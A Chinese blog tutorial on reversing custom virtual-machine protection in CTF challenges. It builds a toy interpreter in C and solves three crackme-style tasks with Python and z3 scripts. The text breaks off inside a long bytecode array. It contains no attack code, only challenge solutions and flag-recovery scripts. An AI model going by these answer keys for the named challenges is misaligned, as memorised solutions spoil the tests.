RE January 03, 2020

VM下的RE和PWN学习

Words count 656k Reading time 9:56 Read count 0

一、前言

前段时间一直碰到vm的pwn题,之前打re也是,遇到就懵,所以花时间好好整理下这部分知识点。

二、VM下的逆向

首先需要搞清楚的是,vm是一种逻辑,就是自己实现一个小型的虚拟机来实现简单的操作,有点自己开发计算机的感觉。

下面一步步讲解下最重要的内容:

1、register

1
2
3
4
5
6
7
enum regist
{
R1 = 0xe1,
R2 = 0xe2,
R3 = 0xe3,
R4 = 0xe5,
};

这是我们虚拟机的寄存器,想要的数量和类型可以自己设置,这里我们枚举了4个寄存器r1到r4,分别有对应的参数值,像映射关系一样。

2、opcode:

1
2
3
4
5
6
7
8
9
10
enum opcodes
{
MOV = 0xf1,
XOR = 0xf2,
RET = 0xf4,
READ = 0xf5,
ADD = 0xf6,
MUL = 0xf7,
EXCH = 0xf8,
};

这是我们的枚举类型,意味着每一条汇编指令对应于一个标志参数,当我们知道了标志参数值就可以知道cpu要执行的指令是什么,那么要实现和执行函数的绑定,就需要用一个结构体去包装好:

3、封装体

1
2
3
4
5
typedef struct 
{
unsigned char opcode;//参数标志
void (*handle)(void *);//执行函数
}vm_opcode;
1
2
3
4
5
6
7
8
9
typedef struct
{
int r1;
int r2;
int r3;
int r4;
unsigned char *eip;
vm_opcode op_list[7];
}vm_cpu;

这里是我们的cpu的模拟,基本的eip和寄存器都有,还有参数标志和执行函数的封装结构体,下面进行参数和函数的绑定工作,这个工作一般是在虚拟机开机初始化时完成的。

4、初始化操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
void vm_init(vm_cpu *cpu)
{
//寄存器初始化工作
cpu->r1 = 0;
cpu->r2 = 0x12;
cpu->r3 = 0;
cpu->r4 = 0;
cpu->eip = (unsigned char *)vm_code;//这是我们自己设定的vm_code,也就是告诉虚拟机怎么执行的代码
//实现参数和处理函数的绑定工作
cpu->op_list[0].opcode = 0xf1;
cpu->op_list[0].handle = (void (*)(void *))mov;

cpu->op_list[1].opcode = 0xf2;
cpu->op_list[1].handle = (void (*)(void *))xor;

cpu->op_list[2].opcode = 0xf5;
cpu->op_list[2].handle = (void (*)(void *))read_;

cpu->op_list[3].opcode = 0xf4;
cpu->op_list[3].handle = (void (*)(void *))ret;

cpu->op_list[4].opcode = 0xf7;
cpu->op_list[4].handle = (void (*)(void *))mul;

cpu->op_list[5].opcode = 0xf8;
cpu->op_list[5].handle = (void (*)(void *))exch;

cpu->op_list[6].opcode = 0xf6;
cpu->op_list[6].handle = (void (*)(void *))add;

vm_stack = malloc(0x512);//虚拟机栈,通过申请堆块来实现
memset(vm_stack,0,0x512);
}

*这里可以看看我们的vm_code长什么样,很明显起到了保护代码的作用,不会被轻易看出来,执行的功能是什么,除非被逆向解析出来。

1
2
3
4
5
6
vm_code = [
0xf5
0xf1,0xe1,0x0,0x0,0x0,0x0,
0xf1,0xe2,0x1,0x0,0x0,0x0,
0xf2,
0xf1,0xe4,0x0,0x0,0x0,0x0]

所以,基本上是知道了原理,就可以分析vm_code。

5、具体函数实现,举例:mov

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
void mov(vm_cpu *cpu)
{
//mov指令的参数都隐藏在字节码中,指令表示后的一个字节是寄存器标识,第二到第五是要mov的数据在vm_stack上的偏移
unsigned char *res = cpu->eip + 1;//寄存器标识
int *offset = (int *)(cpu->eip + 2);//偏移
char *dest = 0;
dest = vm_stack;//指向我们的数据栈
switch(*res){

case 0xe1://当寄存器标识为0xe1时,实现对r1寄存器的操作,下面的雷同,数据从栈mov到寄存器
cpu->r1 = *(dest + *offset);
break;
case 0xe2:
cpu->r2 = *(dest + *offset);
break;
case 0xe3:
cpu->r3 = *(dest + *offset);
break;
case 0xe5:
cpu->r4 = *(dest + *offset);
break;
case 0xe4:
{
//数据从寄存器mov到栈
int x;
x = cpu->r1;
*(dest + *offset) = x;
break;
}
case 0xe7:
{
int y;
y = cpu->r2;
*(dest + *offset) = y;
break;
}

}
cpu->eip += 6;//6个字节为单位
}

6、启动虚拟机:

1
2
3
4
5
6
7
8
void vm_start(vm_cpu *cpu)
{
cpu->eip = (unsigned char*)vm_code;//指向我们的虚拟机执行代码处
while (*cpu->eip!=RET)
{
vm_dispatcher(cpu);//解析函数,解析参数标识,执行相应函数
}
}

7、解析处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void vm_dispatcher(vm_cpu *cpu)
{
int i = 0;
while (1)
{
if(*cpu->eip == cpu->op_list[i].opcode)//找函数
{
cpu->op_list[i].handle(cpu); //执行函数
break;
}
else
{
i += 1;
}
}
}

有了初步认识,就会发现虚拟机的题目关键就是看懂vm的opcode和相映射的handle处理函数,最后结合vm_code就可以实现虚拟机保护的操作了。

下面拿一道题看看:

1、vm

image-20200110004719911

通过运行的情况,定位关键字符串,找到main函数的主逻辑:

image-20200110005004303

这是我化简后的,只要够熟练,很快可以分析出对应的函数功能。这里我们有了check的数据enc,接着先看下第一步的初始化工作,vm_init初始化时做了什么:

image-20200110005725655

这里是我的一个做题习惯,创建结构体,把cpu梳理清楚,然后做题就容易分析,这里有4个opcode,分别是F1到F4,然后对应的功能是从dispatch中得知的,我们去看下解析器:

image-20200110010037527

这里很明显就可以知道在不断地循环执行vm_code(这一步提取出ida中的vm_code)来实现功能,这里F3表示中断退出,进去handle看看:

image-20200110010312164

知道了opcode和handle的对应关系(在init初始化中已经标清楚),下面就是重点了,分析handle函数的功能,首先是mov:

image-20200110010516672

再来是xor:

image-20200110010914861

最后是read:

image-20200110010928306

综上,可以提取出opcode和对应函数处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
F1 | E1 | value1 | value2
r1 = input[value2]
F1 | E2 | value1 | value2
r2 = input[value2]
F1 | E3 | value1 | value2
r3 = input[value2]
F1 | E4 | value1 | value2
input[value2] = r1
F2
r1 ^= 0xD
F3
break
F4
read(0,buf,24)

最后一步,分析vm_code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
vm_code = [
0xF4, #read(0,input,28)
0xF1, 0xE1, 0x00, 0x00, 0x00, 0x00,#r1 = input[0]
0xF2, #r1 ^=0xd
0xF1, 0xE4, 0x1F, 0x00, 0x00, 0x00,#input[0x1f]=r1
0xF1, 0xE1, 0x01, 0x00, 0x00, 0x00,#r1 = input[1]
0xF2, #r1 ^=0xd
0xF1, 0xE4, 0x20, 0x00, 0x00, 0x00,#input[0x20]=r1
0xF1, 0xE1, 0x02, 0x00, 0x00, 0x00,
0xF2,
0xF1, 0xE4, 0x21, 0x00, 0x00, 0x00,
0xF1, 0xE1, 0x03, 0x00, 0x00, 0x00,
0xF2,
0xF1, 0xE4, 0x22, 0x00, 0x00, 0x00,
0xF1,
0xE1, 0x04, 0x00, 0x00, 0x00,
0xF2,
0xF1, 0xE4, 0x23, 0x00, 0x00, 0x00,
0xF1, 0xE1, 0x05, 0x00, 0x00, 0x00,
0xF2,
0xF1, 0xE4, 0x24, 0x00, 0x00, 0x00,
0xF1, 0xE1, 0x06, 0x00, 0x00, 0x00,
0xF2,
0xF1, 0xE4, 0x25, 0x00, 0x00, 0x00,
0xF1, 0xE1, 0x07, 0x00, 0x00, 0x00,
0xF2,
0xF1, 0xE4, 0x26, 0x00, 0x00, 0x00,
0xF1, 0xE1, 0x08, 0x00, 0x00, 0x00,
0xF2,
0xF1, 0xE4, 0x27, 0x00, 0x00, 0x00,
0xF1, 0xE1, 0x09, 0x00, 0x00, 0x00,
0xF2,
0xF1, 0xE4, 0x28, 0x00, 0x00, 0x00,
0xF1, 0xE1, 0x0A, 0x00, 0x00, 0x00,
0xF2,
0xF1, 0xE4, 0x29, 0x00, 0x00, 0x00,
0xF1, 0xE1, 0x0B, 0x00, 0x00, 0x00,
0xF2,
0xF1, 0xE4, 0x2A, 0x00, 0x00, 0x00,
0xF1, 0xE1, 0x0C, 0x00, 0x00, 0x00,
0xF2,
0xF1, 0xE4, 0x2B, 0x00, 0x00, 0x00,
0xF1, 0xE1, 0x0D, 0x00, 0x00, 0x00,
0xF2,
0xF1, 0xE4, 0x2C, 0x00, 0x00, 0x00,
0xF1, 0xE1, 0x0E, 0x00, 0x00, 0x00,
0xF2,
0xF1, 0xE4, 0x2D, 0x00, 0x00, 0x00,
0xF1, 0xE1, 0x0F, 0x00, 0x00, 0x00,
0xF2,
0xF1, 0xE4, 0x2E, 0x00, 0x00, 0x00,
0xF1, 0xE1, 0x10, 0x00, 0x00, 0x00,
0xF2,
0xF1, 0xE4, 0x2F, 0x00, 0x00, 0x00,
0xF1, 0xE1, 0x11, 0x00, 0x00, 0x00,
0xF2,
0xF1, 0xE4, 0x30, 0x00, 0x00, 0x00,
0xF1, 0xE1, 0x12, 0x00, 0x00, 0x00,
0xF2,
0xF1, 0xE4, 0x31, 0x00, 0x00, 0x00,
0xF1, 0xE1, 0x13, 0x00, 0x00, 0x00,
0xF2,
0xF1, 0xE4, 0x32, 0x00, 0x00, 0x00,
0xF1, 0xE1, 0x14, 0x00, 0x00, 0x00,
0xF2,
0xF1, 0xE4, 0x33, 0x00, 0x00, 0x00,
0xF1, 0xE1, 0x15, 0x00, 0x00, 0x00,
0xF2,
0xF1, 0xE4, 0x34, 0x00, 0x00, 0x00,
0xF1, 0xE1, 0x16, 0x00, 0x00, 0x00,
0xF2,
0xF1, 0xE4, 0x35, 0x00, 0x00, 0x00,
0xF1, 0xE1, 0x17, 0x00, 0x00, 0x00,
0xF2,
0xF1, 0xE4, 0x36, 0x00, 0x00, 0x00,
0xF1, 0xE1, 0x18, 0x00, 0x00, 0x00,
0xF2,
0xF1, 0xE4, 0x37, 0x00, 0x00, 0x00,
0xF1, 0xE1, 0x19, 0x00, 0x00, 0x00,
0xF2,
0xF1, 0xE4, 0x38, 0x00, 0x00, 0x00,
0xF1, 0xE1, 0x1A, 0x00, 0x00, 0x00,
0xF2,
0xF1, 0xE4, 0x39, 0x00, 0x00, 0x00,
0xF1, 0xE1, 0x1B, 0x00, 0x00, 0x00,
0xF2,
0xF1, 0xE4, 0x3A, 0x00, 0x00, 0x00,
0xF3, 0x00, 0x00 # break
]

这里就是把输入异或0xd然后再存到从0x1f开始的地址,得到密文,所以直接异或解密即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
enc = []
for i in range(28):
enc.append(0)
enc[0] = 107
enc[1] = 97
enc[2] = 108
enc[3] = 106
enc[4] = 118
enc[5] = 56
enc[6] = 60
enc[7] = 96
enc[8] = 125
enc[9] = 97
enc[10] = 62
enc[11] = 82
enc[12] = 123
enc[13] = 60
enc[14] = 127
enc[15] = 121
enc[16] = 120
enc[17] = 77
enc[18] = 97
enc[19] = 82
enc[20] = 96
enc[21] = 77
enc[22] = 110
enc[23] = 101
enc[24] = 60
enc[25] = 99
enc[26] = 62
enc[27] = 112

c = ''
for i in enc:
c += chr(i^0xd)
print c

2、baby_vm

这题是我在学习了vm的原理后,亲自尝试的自己出的一道题,后面也会附上源码和题目:

image-20200110091944416

这里已经将函数和结构体都标注好了,方便分析和处理:

1、初始化

image-20200110092030719

这里是分析完解析器,然后进到每一个函数分析功能后,才得到的结果,也是做题的核心所在,分析清楚了,就可以分析vm_code了解题了。

2、分析解析器

image-20200110092142131

也是一样,通过找到opcode来得到相互映射的函数,从而实现调用

3、分析每一个opcode对应的function:

这是mov操作

image-20200110092618577

这是xor操作

image-20200110092647555

read:

image-20200110092714459

mul

image-20200110092742827

exchange

image-20200110092802444

Addimage-20200110092816462

但是呢这题,我出的时候,想到了主动保护,因为容易被angr直接跑出来,所以弄了个假的逻辑在ida上,所以要找到真的vm_code和真正的check函数:

假的check有提示说,输入是开始,必然有2次输入!一次假,一次真。

image-20200110093229949

最后发现真的vm_code在假的vm_code下面,也就是再次出现0xF5后的vm_code才是真的,最后提取出vm_code并分析:

image-20200110093900452

这里箭头往下才是真正的vm_code。

同时找到真的check函数:

image-20200110093620439

提取出密文,写个脚本逆向即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
from z3 import *
true_vm_code = [
0xf5,#read(0,buf,0x20)
0xf1,0xe1,0x0,0x0,0x0,0x0,#r1 = flag[0]
0xf1,0xe2,0x1,0x0,0x0,0x0,#r2 = flag[1]
0xf2,#r1 = 0x12^r1^r2
0xf1,0xe4,0x0,0x0,0x0,0x0,#stack[0] = r1

0xf1,0xe1,0x1,0x0,0x0,0x0,#r1 = flag[1]
0xf1,0xe2,0x2,0x0,0x0,0x0,#r2 = flag[2]
0xf2,#r1 = 0x12^r1^r2
0xf1,0xe4,0x1,0x0,0x0,0x0,#stack[1] = r1

0xf1,0xe1,0x2,0x0,0x0,0x0,#r1 = flag[2]
0xf1,0xe2,0x3,0x0,0x0,0x0,#r2 = flag[3]
0xf2,#r1 = 0x12^r1^r2
0xf1,0xe4,0x2,0x0,0x0,0x0,#stack[2] = r1

0xf1,0xe1,0x3,0x0,0x0,0x0,#r1 = flag[3]
0xf1,0xe2,0x4,0x0,0x0,0x0,#r2 = flag[4]
0xf2,#r1 = 0x12^r1^r2
0xf1,0xe4,0x3,0x0,0x0,0x0,#stack[3] = r1

0xf1,0xe1,0x4,0x0,0x0,0x0,#r1 = flag[4]
0xf1,0xe2,0x5,0x0,0x0,0x0,#r2 = flag[5]
0xf2,#r1 = 0x12^r1^r2
0xf1,0xe4,0x4,0x0,0x0,0x0,#stack[4] = r1

0xf1,0xe1,0x5,0x0,0x0,0x0,#r1 = flag[5]
0xf1,0xe2,0x6,0x0,0x0,0x0,#r2 = flag[6]
0xf2,#r1 = 0x12^r1^r2
0xf1,0xe4,0x5,0x0,0x0,0x0,#stack[5] = r1

0xf1,0xe1,0x6,0x0,0x0,0x0,#r1 = flag[6]
0xf1,0xe2,0x7,0x0,0x0,0x0,#r2 = flag[7]
0xf1,0xe3,0x8,0x0,0x0,0x0,#r3 = flag[8]
0xf1,0xe5,0xC,0x0,0x0,0x0,#r4 = flag[12]
0xf6, #r1 = (3*r1+2*r2+r3)
0xf7, #r1 = r1*r4
0xf1,0xe4,0x6,0x0,0x0,0x0,#stack[6] = r1

0xf1,0xe1,0x7,0x0,0x0,0x0,#r1 = flag[7]
0xf1,0xe2,0x8,0x0,0x0,0x0,#r2 = flag[8]
0xf1,0xe3,0x9,0x0,0x0,0x0,#r3 = flag[9]
0xf1,0xe5,0xC,0x0,0x0,0x0,#r4 = flag[12]
0xf6, #r1 = (3*r1+2*r2+r3)
0xf7, #r1 = r1*r4
0xf1,0xe4,0x7,0x0,0x0,0x0,#stack[7] = r1

0xf1,0xe1,0x8,0x0,0x0,0x0,#r1 = flag[8]
0xf1,0xe2,0x9,0x0,0x0,0x0,#r2 = flag[9]
0xf1,0xe3,0xA,0x0,0x0,0x0,#r3 = flag[10]
0xf1,0xe5,0xC,0x0,0x0,0x0,#r4 = flag[12]
0xf6, #r1 = (3*r1+2*r2+r3)
0xf7, #r1 = r1*r4
0xf1,0xe4,0x8,0x0,0x0,0x0,#stack[8] = r1

0xf1,0xe1,0xD,0x0,0x0,0x0,#r1 = flag[13]
0xf1,0xe2,0x13,0x0,0x0,0x0,#r2 = flag[19]
0xf8,#r1 = r2,r2 = r1
0xf1,0xe4,0xD,0x0,0x0,0x0,#stack[13] = r1
0xf1,0xe7,0x13,0x0,0x0,0x0,#stack[19] = r2

0xf1,0xe1,0xE,0x0,0x0,0x0,#r1 = flag[14]
0xf1,0xe2,0x12,0x0,0x0,0x0,#r2 = flag[18]
0xf8,#r1 = r2,r2 = r1
0xf1,0xe4,0xE,0x0,0x0,0x0,#stack[14] = r1
0xf1,0xe7,0x12,0x0,0x0,0x0,#stack[18] = r2

0xf1,0xe1,0xF,0x0,0x0,0x0,#r1 = flag[15]
0xf1,0xe2,0x11,0x0,0x0,0x0,#r2 = flag[17]
0xf8,#r1 = r2,r2 = r1
0xf1,0xe4,0xF,0x0,0x0,0x0,#stack[15] = r1
0xf1,0xe7,0x11,0x0,0x0,0x0,#stack[17] = r2
0xf4#ret
]

enc = [0x69, 0x45, 0x2a, 0x37, 0x9, 0x17, 0x6dc5, 0x5b0b, 0x705c, 0x72, 0x33, 0x76, 0x33, 0x21, 0x74, 0x31, 0x5f, 0x33, 0x73, 0x72]

a=Int('a')
b=Int('b')
c=Int('c')
solve((3*a+2*b+c)*0x33==0x6dc5,(3*b+2*c+0x72)*0x33==0x5b0b,(3*c+2*0x72+0x33)*0x33==0x705c)
#[c = 95, b = 51, a = 118]

flag = enc

flag[6] = 118
flag[7] = 51
flag[8] = 95

for i in range(6):
flag[6-i-1] ^= flag[6-i]

def exchange(i,j):
temp = flag[i]
flag[i] = flag[j]
flag[j] = temp

exchange(13,19)
exchange(14,18)
exchange(15,17)

string = ""
for i in flag:
string += chr(i)
print string

3、WxyVM1

image-20200110094912036

这题程序逻辑也很简单,就是输入flag,然后经过了解析后进行密文比对(enc密文可以提取出来,用lazy ida),输入要求24位,所以关键就是分析dispatch:

image-20200110095042650

这题多不用构建结构体,因为出题人都写的挺详细的了,opcode和处理函数也实现了绑定。可以很清晰地分析出逻辑和功能为:

1
2
3
4
5
6
7
8
9
10
11
opcode | value1 | value2
1
flag[value1]+=value2
2
flag[value1]-=value2
3
flag[value1]^=value2
4
flag[value1]*=value2
5
flag[value1]^=flag[value2]

找到vm_code并提取,因为有点大,所以写脚本时要自己手动分行

image-20200110095516195

最后直接写脚本逆向即可,但是因为vm_code的数量比较庞大,所以要写脚本自动分析,还好逻辑是比较容易逆向的,同时需要注意的是,flag都是可见字符,所以要%256,最后的脚本是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
flag = [0xFFFFFFC4, 0x00000034, 0x00000022, 0xFFFFFFB1, 0xFFFFFFD3, 0x00000011, 0xFFFFFF97, 0x00000007, 0xFFFFFFDB, 0x00000037, 0xFFFFFFC4, 0x00000006, 0x0000001D, 0xFFFFFFFC, 0x0000005B, 0xFFFFFFED, 0xFFFFFF98, 0xFFFFFFDF, 0xFFFFFF94, 0xFFFFFFD8, 0xFFFFFFB3, 0xFFFFFF84, 0xFFFFFFCC, 0x00000008]
vm_code = [0x01, 0x10, 0x25, 0x03, 0x0D, 0x0A, 0x02, 0x0B, 0x28, 0x02, 0x14, 0x3F, 0x01, 0x17, 0x3C, 0x01, 0x00, 0x69, 0x01, 0x12, 0x3F, 0x02, 0x0E, 0x77, 0x03, 0x15, 0x53, 0x02, 0x0E, 0x7D, 0x03, 0x05, 0x0A, 0x02, 0x04, 0x55, 0x02, 0x15, 0x33, 0x02, 0x15, 0x05, 0x01, 0x05, 0x2F, 0x03, 0x07, 0x43, 0x01, 0x11, 0x39, 0x03, 0x0D, 0x27, 0x01, 0x05, 0x1E, 0x03, 0x04, 0x3C, 0x01, 0x13, 0x1E, 0x03, 0x01, 0x78, 0x01, 0x00, 0x20, 0x02, 0x0F, 0x53, 0x03, 0x14, 0x2B, 0x03, 0x14, 0x28, 0x03, 0x0A, 0x19, 0x03, 0x12, 0x60, 0x01, 0x05, 0x7E, 0x03, 0x0F, 0x20, 0x01, 0x0F, 0x58, 0x02, 0x11, 0x51, 0x01, 0x0B, 0x24, 0x01, 0x17, 0x79, 0x01, 0x0E, 0x4A, 0x03, 0x10, 0x67, 0x02, 0x16, 0x5C, 0x03, 0x09, 0x6D, 0x01, 0x17, 0x30, 0x02, 0x0A, 0x2C, 0x03, 0x07, 0x3F, 0x03, 0x07, 0x43, 0x01, 0x04, 0x04, 0x02, 0x00, 0x0F, 0x01, 0x00, 0x1F, 0x01, 0x00, 0x59, 0x03, 0x0B, 0x6B, 0x01, 0x16, 0x11, 0x03, 0x03, 0x38, 0x01, 0x12, 0x41, 0x01, 0x02, 0x66, 0x02, 0x0F, 0x1A, 0x03, 0x08, 0x14, 0x03, 0x0A, 0x2A, 0x01, 0x01, 0x15, 0x01, 0x0B, 0x0A, 0x01, 0x01, 0x36, 0x01, 0x05, 0x66, 0x01, 0x08, 0x14, 0x01, 0x0B, 0x7A, 0x03, 0x0D, 0x7D, 0x02, 0x13, 0x52, 0x03, 0x0D, 0x0E, 0x03, 0x10, 0x3E, 0x03, 0x06, 0x30, 0x02, 0x01, 0x6B, 0x02, 0x04, 0x77, 0x01, 0x01, 0x12, 0x02, 0x09, 0x38, 0x03, 0x07, 0x74, 0x02, 0x0A, 0x2C, 0x02, 0x05, 0x46, 0x01, 0x12, 0x1E, 0x03, 0x04, 0x10, 0x02, 0x01, 0x6A, 0x02, 0x03, 0x5C, 0x03, 0x09, 0x11, 0x03, 0x07, 0x26, 0x02, 0x01, 0x3E, 0x02, 0x0D, 0x42, 0x02, 0x16, 0x35, 0x02, 0x09, 0x33, 0x01, 0x04, 0x00, 0x03, 0x07, 0x3C, 0x03, 0x0C, 0x5B, 0x01, 0x0D, 0x0F, 0x02, 0x16, 0x34, 0x02, 0x01, 0x61, 0x01, 0x08, 0x38, 0x03, 0x05, 0x37, 0x03, 0x0E, 0x64, 0x03, 0x0F, 0x72, 0x03, 0x0D, 0x08, 0x01, 0x0F, 0x2B, 0x03, 0x04, 0x79, 0x02, 0x12, 0x62, 0x03, 0x17, 0x57, 0x01, 0x16, 0x55, 0x02, 0x05, 0x19, 0x03, 0x07, 0x23, 0x01, 0x06, 0x62, 0x02, 0x0D, 0x54, 0x03, 0x11, 0x4D, 0x01, 0x10, 0x4E, 0x01, 0x0A, 0x53, 0x01, 0x0C, 0x6A, 0x02, 0x10, 0x42, 0x03, 0x05, 0x08, 0x02, 0x0D, 0x75, 0x03, 0x01, 0x34, 0x01, 0x09, 0x1F, 0x01, 0x16, 0x23, 0x01, 0x11, 0x5E, 0x02, 0x0A, 0x39, 0x03, 0x16, 0x15, 0x01, 0x02, 0x7C, 0x03, 0x04, 0x51, 0x01, 0x0F, 0x1B, 0x01, 0x17, 0x5C, 0x02, 0x09, 0x3C, 0x01, 0x12, 0x0B, 0x02, 0x0E, 0x2E, 0x03, 0x06, 0x68, 0x03, 0x0C, 0x48, 0x01, 0x07, 0x02, 0x03, 0x0A, 0x2E, 0x03, 0x0C, 0x4D, 0x02, 0x14, 0x6F, 0x03, 0x04, 0x0F, 0x03, 0x07, 0x5A, 0x01, 0x02, 0x45, 0x01, 0x03, 0x63, 0x02, 0x01, 0x33, 0x03, 0x01, 0x31, 0x01, 0x10, 0x60, 0x02, 0x08, 0x30, 0x02, 0x07, 0x2A, 0x03, 0x16, 0x66, 0x01, 0x09, 0x2C, 0x02, 0x16, 0x16, 0x01, 0x0D, 0x04, 0x01, 0x0E, 0x5F, 0x03, 0x0D, 0x47, 0x03, 0x0C, 0x39, 0x01, 0x0E, 0x68, 0x03, 0x0B, 0x36, 0x02, 0x16, 0x10, 0x01, 0x10, 0x07, 0x03, 0x17, 0x0C, 0x02, 0x14, 0x33, 0x03, 0x0E, 0x0B, 0x02, 0x14, 0x39, 0x02, 0x0D, 0x6E, 0x03, 0x16, 0x37, 0x03, 0x0C, 0x5D, 0x03, 0x12, 0x6D, 0x02, 0x06, 0x66, 0x02, 0x0A, 0x40, 0x03, 0x12, 0x05, 0x02, 0x0F, 0x7A, 0x03, 0x03, 0x2A, 0x01, 0x06, 0x1B, 0x01, 0x04, 0x33, 0x03, 0x13, 0x4D, 0x01, 0x14, 0x44, 0x02, 0x09, 0x10, 0x02, 0x0A, 0x12, 0x01, 0x04, 0x0B, 0x01, 0x08, 0x5E, 0x02, 0x17, 0x77, 0x02, 0x10, 0x3F, 0x01, 0x11, 0x4B, 0x02, 0x0C, 0x47, 0x03, 0x11, 0x16, 0x02, 0x14, 0x51, 0x01, 0x14, 0x01, 0x03, 0x13, 0x67, 0x01, 0x0F, 0x73, 0x02, 0x0E, 0x7B, 0x01, 0x01, 0x0D, 0x01, 0x13, 0x13, 0x02, 0x01, 0x0B, 0x02, 0x15, 0x2A, 0x03, 0x01, 0x1E, 0x01, 0x0E, 0x6F, 0x02, 0x05, 0x26, 0x03, 0x0C, 0x38, 0x01, 0x11, 0x7E, 0x02, 0x02, 0x01, 0x03, 0x10, 0x2E, 0x01, 0x05, 0x05, 0x02, 0x12, 0x66, 0x02, 0x0B, 0x6E, 0x03, 0x0F, 0x40, 0x02, 0x00, 0x68, 0x01, 0x0B, 0x41, 0x02, 0x04, 0x74, 0x03, 0x04, 0x5B, 0x03, 0x10, 0x29, 0x01, 0x0F, 0x37, 0x03, 0x10, 0x61, 0x02, 0x11, 0x7A, 0x01, 0x09, 0x55, 0x02, 0x11, 0x7E, 0x01, 0x12, 0x12, 0x02, 0x00, 0x2F, 0x02, 0x0A, 0x0C, 0x02, 0x17, 0x58, 0x02, 0x0C, 0x19, 0x02, 0x0B, 0x2C, 0x01, 0x09, 0x31, 0x02, 0x07, 0x6E, 0x02, 0x0B, 0x0E, 0x02, 0x16, 0x37, 0x02, 0x02, 0x20, 0x01, 0x10, 0x2E, 0x02, 0x0F, 0x70, 0x01, 0x02, 0x45, 0x03, 0x12, 0x11, 0x03, 0x0A, 0x6B, 0x01, 0x0E, 0x66, 0x01, 0x14, 0x1B, 0x03, 0x00, 0x54, 0x03, 0x11, 0x41, 0x01, 0x13, 0x4D, 0x01, 0x08, 0x2B, 0x02, 0x04, 0x09, 0x02, 0x17, 0x46, 0x03, 0x01, 0x0F, 0x02, 0x17, 0x04, 0x01, 0x15, 0x14, 0x01, 0x17, 0x56, 0x02, 0x15, 0x56, 0x03, 0x17, 0x31, 0x02, 0x12, 0x76, 0x01, 0x16, 0x47, 0x02, 0x06, 0x7F, 0x01, 0x0A, 0x2D, 0x01, 0x17, 0x1E, 0x03, 0x15, 0x58, 0x01, 0x01, 0x69, 0x02, 0x05, 0x28, 0x03, 0x0A, 0x69, 0x01, 0x17, 0x2F, 0x02, 0x0A, 0x63, 0x02, 0x0D, 0x29, 0x03, 0x16, 0x4E, 0x01, 0x05, 0x37, 0x03, 0x06, 0x58, 0x03, 0x03, 0x55, 0x02, 0x0C, 0x15, 0x02, 0x0A, 0x54, 0x01, 0x12, 0x24, 0x01, 0x0D, 0x75, 0x01, 0x08, 0x45, 0x03, 0x0C, 0x68, 0x02, 0x03, 0x6C, 0x03, 0x14, 0x12, 0x02, 0x11, 0x35, 0x01, 0x02, 0x0B, 0x02, 0x00, 0x7A, 0x01, 0x02, 0x74, 0x01, 0x03, 0x62, 0x01, 0x00, 0x6A, 0x02, 0x0B, 0x41, 0x02, 0x0B, 0x29, 0x03, 0x05, 0x2D, 0x01, 0x0C, 0x54, 0x03, 0x01, 0x5C, 0x02, 0x0D, 0x1B, 0x03, 0x05, 0x16, 0x02, 0x0B, 0x74, 0x02, 0x04, 0x19, 0x03, 0x02, 0x42, 0x03, 0x10, 0x72, 0x01, 0x0F, 0x04, 0x02, 0x06, 0x63, 0x03, 0x10, 0x0E, 0x03, 0x03, 0x77, 0x02, 0x0B, 0x4C, 0x02, 0x0E, 0x16, 0x01, 0x0F, 0x20, 0x02, 0x08, 0x06, 0x01, 0x0F, 0x16, 0x01, 0x0B, 0x36, 0x03, 0x0F, 0x37, 0x03, 0x07, 0x19, 0x02, 0x09, 0x69, 0x02, 0x00, 0x44, 0x02, 0x07, 0x2C, 0x02, 0x0D, 0x43, 0x02, 0x08, 0x52, 0x02, 0x11, 0x38, 0x02, 0x04, 0x2B, 0x01, 0x01, 0x79, 0x01, 0x12, 0x5A, 0x03, 0x03, 0x31, 0x03, 0x13, 0x4D, 0x02, 0x05, 0x54, 0x01, 0x02, 0x17, 0x03, 0x03, 0x55, 0x03, 0x10, 0x6E, 0x01, 0x0E, 0x7E, 0x03, 0x07, 0x1D, 0x01, 0x03, 0x20, 0x03, 0x14, 0x31, 0x01, 0x15, 0x30, 0x03, 0x11, 0x03, 0x02, 0x11, 0x71, 0x03, 0x0F, 0x73, 0x03, 0x01, 0x54, 0x02, 0x0E, 0x62, 0x01, 0x01, 0x3C, 0x01, 0x04, 0x13, 0x02, 0x09, 0x6D, 0x01, 0x0C, 0x2A, 0x03, 0x0B, 0x2B, 0x02, 0x02, 0x05, 0x03, 0x08, 0x2F, 0x03, 0x10, 0x7F, 0x01, 0x10, 0x70, 0x01, 0x16, 0x4E, 0x03, 0x16, 0x29, 0x02, 0x16, 0x31, 0x01, 0x07, 0x2F, 0x01, 0x14, 0x64, 0x02, 0x09, 0x65, 0x01, 0x02, 0x3C, 0x01, 0x0B, 0x1F, 0x03, 0x0E, 0x32, 0x03, 0x15, 0x7F, 0x01, 0x0F, 0x3D, 0x03, 0x01, 0x08, 0x02, 0x08, 0x66, 0x03, 0x06, 0x63, 0x02, 0x03, 0x12, 0x03, 0x17, 0x03, 0x03, 0x15, 0x75, 0x03, 0x0B, 0x44, 0x01, 0x07, 0x4A, 0x01, 0x12, 0x5C, 0x01, 0x12, 0x5A, 0x01, 0x06, 0x59, 0x03, 0x00, 0x21, 0x01, 